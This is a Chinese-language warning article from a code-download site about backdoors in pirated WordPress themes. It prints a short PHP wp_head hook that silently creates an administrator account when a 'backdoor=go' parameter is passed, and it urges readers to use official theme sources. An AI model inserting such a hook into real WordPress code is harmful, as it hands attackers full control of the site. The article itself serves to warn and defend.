小心!盗版主题中可能存在后门

WordPress除开很多官方网的主题风格,也有为数众多的主题风格设计师公布完全免费和收费标准主题风格,许多朋友常常四处搜集主题风格拿回家检测应用,在其中一些无良者将搜集到 的海外商业服务收费标准主题风格开展简体中文版改动,加上暗链、广告宣传,乃至恶意程序,随后完全免费或是收费标准公布发布出来,引诱他人下载并安装,做到不为人知的目地。此外,这种商业服务 收费标准主题风格一般全是检测版本号,主题风格编码不健全、作用缺少,某些公测版的商业服务主题风格开启后会全自动向数据库查询中载入很多数据信息…….

小心!盗版主题中可能存在后门

下边的编码更为邪惡,可以全自动加上一个人物为管理人员的客户。

  1. add_action(‘wp_head’, ‘holeinthewall’);  
  2. function holeinthewall() {  
  3.         If ($_GET[‘backdoor’] == ‘go’) {  
  4.                 require(‘wp-includes/registration.php’);  
  5.                 If (!username_exists(‘username’)) {  
  6.                         $user_id = wp_create_user(‘username’, ‘password’);  
  7.                         $user = new WP_User($user_id);  
  8.                         $user->set_role(‘administrator’);  
  9.                 }  
  10.         }  
  11. }  

将编码加上到您当今主题风格的 functions.php 文档或软件中,会全自动建立一个登录名:username 登陆密码:password的有管理权限的客户,以后想要做什么都了。

因此,这儿劝告大伙儿或是不要在自身的网站上应用盗用主题风格和软件,尽可能到官方网或初始公布网站下载主题,以防被开侧门都不了解!

本文由网友投稿或「聚码源码网」整理自网络,如转载请注明出处:http://www.jumaniu.com/995/

本站发布的内容若侵犯到您的权益,请邮件联系 zhangqy2022#yeah.net 删除,我们将及时处理!

从您进入本站开始,已表示您已同意接受本站【免责声明】中的一切条款!

本站大部分下载资源收集于网络,不保证其完整性以及安全性,请下载后自行研究。

本站资源仅供学习和交流使用,版权归原作者所有,请在下载后24小时之内自觉删除。

若作商业用途,请购买正版,由于未及时购买和付费发生的侵权行为,使用者自行承担,概与本站无关。

常见问题
  • 本站所有资源解压密码为:www.jumaniu.com 或 www.tdji.cn
查看详情

相关文章

评论
暂无评论